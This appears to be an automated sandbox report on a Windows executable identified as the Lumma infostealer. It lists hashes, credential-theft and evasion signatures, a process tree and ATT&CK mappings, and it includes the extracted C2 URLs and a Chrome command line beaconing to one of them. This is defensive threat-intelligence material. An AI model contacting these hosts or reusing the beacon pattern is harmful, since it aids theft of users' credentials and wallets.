Analysis
- max time kernel
149s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
16/05/2026, 20:05
Static task
static1
Behavioral task
behavioral1
Sample
ws-Setup-Complete.exe
Resource
win10v2004-20260513-en
General
- Target ws-Setup-Complete.exe
- Size 4.9MB
- Sample260516-yvb7dacv7n
- SHA256 7908c22432e29287fa07768c1573b899d1f216545f0fd6d49653945001ad4181
- MD5 8736506a3a43bbe07cd25d4964d632a3
- SHA1 af50bf1040aa0b1587a37b73b6ec809d7dcabeea
- SHA512 feff9d2485e24d5bf5e024627321ff316bc7a920a35bc46cc73f423072b72d9fc9d64dabdd66ef70aac185c4b542c7c5a74f8bc668940e194cd7cc4082cc1067
- SSDEEP 49152:jhlMNo5UB8TyN0ZB8tcqFzvj36HHFUMm6MbQHt:F2o53TgeB8tcqF3kZ7Ht
- TLSH T1AD363B04FEC680F1D9175B3121BFB33FA72C281846399653EFA03EA6B977751186660E
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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lumma
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https://shenyac.cyou
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https://decrnoj.club/xxx
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https://pomflgf.vu/help
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https://carytui.vu/caccc
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https://mushxhb.best/info
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https://genugsq.best/main
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https://ulmudhw.shop/create
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https://strikql.shop/owner
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https://longmbx.click/manifest
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build_id
37934481450b824f5d084fe6153b86d32711
Signatures
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ws-Setup-Complete.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 648 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134236937778895540" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe 2400 chrome.exe 2400 chrome.exe 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe 968 ws-Setup-Complete.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe - Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeShutdownPrivilege 2400 chrome.exe Token: SeCreatePagefilePrivilege 2400 chrome.exe Token: SeShutdownPrivilege 2400 chrome.exe Token: SeCreatePagefilePrivilege 2400 chrome.exe Token: SeShutdownPrivilege 2400 chrome.exe Token: SeCreatePagefilePrivilege 2400 chrome.exe Token: SeShutdownPrivilege 2400 chrome.exe Token: SeCreatePagefilePrivilege 2400 chrome.exe Token: SeShutdownPrivilege 2400 chrome.exe Token: SeCreatePagefilePrivilege 2400 chrome.exe Token: SeShutdownPrivilege 2400 chrome.exe Token: SeCreatePagefilePrivilege 2400 chrome.exe Token: SeShutdownPrivilege 2400 chrome.exe Token: SeCreatePagefilePrivilege 2400 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe 2400 chrome.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 968 wrote to memory of 2400 968 ws-Setup-Complete.exe 89 PID 2400 wrote to memory of 4392 2400 chrome.exe 90 PID 2400 wrote to memory of 1888 2400 chrome.exe 91 PID 2400 wrote to memory of 1888 2400 chrome.exe 91 PID 2400 wrote to memory of 648 2400 chrome.exe 92 PID 2400 wrote to memory of 2712 2400 chrome.exe 94 PID 2400 wrote to memory of 2712 2400 chrome.exe 94 PID 2400 wrote to memory of 1140 2400 chrome.exe 95 PID 2400 wrote to memory of 1140 2400 chrome.exe 95 PID 2400 wrote to memory of 3516 2400 chrome.exe 96 PID 2400 wrote to memory of 3516 2400 chrome.exe 96 PID 2400 wrote to memory of 2184 2400 chrome.exe 97 PID 2400 wrote to memory of 2184 2400 chrome.exe 97 PID 2400 wrote to memory of 4684 2400 chrome.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\ws-Setup-Complete.exe"C:\Users\Admin\AppData\Local\Temp\ws-Setup-Complete.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" shenyac.cyou/api/set_agent?id=73257F29BD24956701AEC7B30ADF174C&token=37934481450b824f5d084fe6153b86d32711&description=&agent=Chrome2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffef3f5c728,0x7ffef3f5c734,0x7ffef3f5c7403⤵PID:4392
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1780,i,3437025688225492619,6089392213964628718,262144 --field-trial-handle=2044,i,4197735022029117664,13913110736060444350,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2040 /prefetch:23⤵PID:1888
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1628,i,11237345708830490580,10590819343633223311,524288 --field-trial-handle=2044,i,4197735022029117664,13913110736060444350,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2280 /prefetch:33⤵
- System Time Discovery
PID:648
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,14433393450755947356,8832382585503338828,524288 --field-trial-handle=2044,i,4197735022029117664,13913110736060444350,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2592 /prefetch:83⤵PID:2712
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3084,i,3676415780701536271,13770101351046636198,2097152 --field-trial-handle=2044,i,4197735022029117664,13913110736060444350,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3252 /prefetch:13⤵PID:1140
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3160,i,2819766516756445386,10919191521317342644,2097152 --field-trial-handle=2044,i,4197735022029117664,13913110736060444350,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3268 /prefetch:13⤵PID:3516
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4244,i,6430069798520794239,13311121119023248183,2097152 --field-trial-handle=2044,i,4197735022029117664,13913110736060444350,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4260 /prefetch:23⤵PID:2184
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5232,i,5190424226595815079,6949338620431943274,524288 --field-trial-handle=2044,i,4197735022029117664,13913110736060444350,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5244 /prefetch:83⤵PID:4684
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:4336
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 d4d2e1d8b24a32fa693e0c8fa3a75ba940828f53e725f25d54d6a9f5a494e719
- MD5 e447c4001179f439fddc8bfacb5d2ec8
- SHA1 08583b3da20b4e754ad50e7f2aef3c40462e3ae3
- SHA512 844b30313ae9aa93551d4edf7df0639d157aa303e4e2d81b4f4d608688ae43e658e7b8083a54dc04b74ed494cbc64beadbe7a6f66613237b77aa08c92a80a99b
- TLSH T166E02B65C861DC2B18FD1719A0541756E755135B2A40894B7A3C850C8FB17364585C5C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 4d058c371e68e08403491a4ad4fb9240aa4cd0552342c4739c09c0e0520303e6
- MD5 d36003c90067b00c2ca7fe61f534630e
- SHA1 5e9fac49af02f16be1f935c33bc2f6a068997271
- SHA512 1b56d2cff9b119b77b27141baedb3413e60e71a0962f97b4ece77cba18f2df04c46d203f60ef34f2c1aa2c34a72e347cb24a7dfddd7cd3f5cebb57a2c7e011df
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OOhRVumGne5:1nbZeMrv/hGtO6ne5
- TLSH T1AFD3A84B3A743006DDE68A722CE051BB5E3C716D8F55A5D528B620588EF2863B23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 65f9741a23ee71fabd3df544b852a12001cc953a6ed0351d86df0192e48b5ae8
- MD5 c729800a9f7fb647f659823ee9d2cafa
- SHA1 350104e9abafd372c280413fb09422d26595afd5
- SHA512 a2a3aa34ded7691fd898d6c8824d079e79899a63937a3ff88edbf35072fbe6fa3f8565a52c24ae11419c08da6f347ec3a76c31cde1a285580f282238ef2be798
- SSDEEP 1536:f/b9LyD4aukHU65fd7Ntk8XOP851ZqODZHQ3gwGSUq0BTQQwsNwSVwxfQEz3bICo:fqfd7NtZL8cHQRZEQ6Sps3
- TLSH T16CC30237ABC21F339D93CB64B9130FDA67B644A99034D301AAAD37EF7C93591684249C
- MD5 SHA1 SHA512 SSDEEP TLSH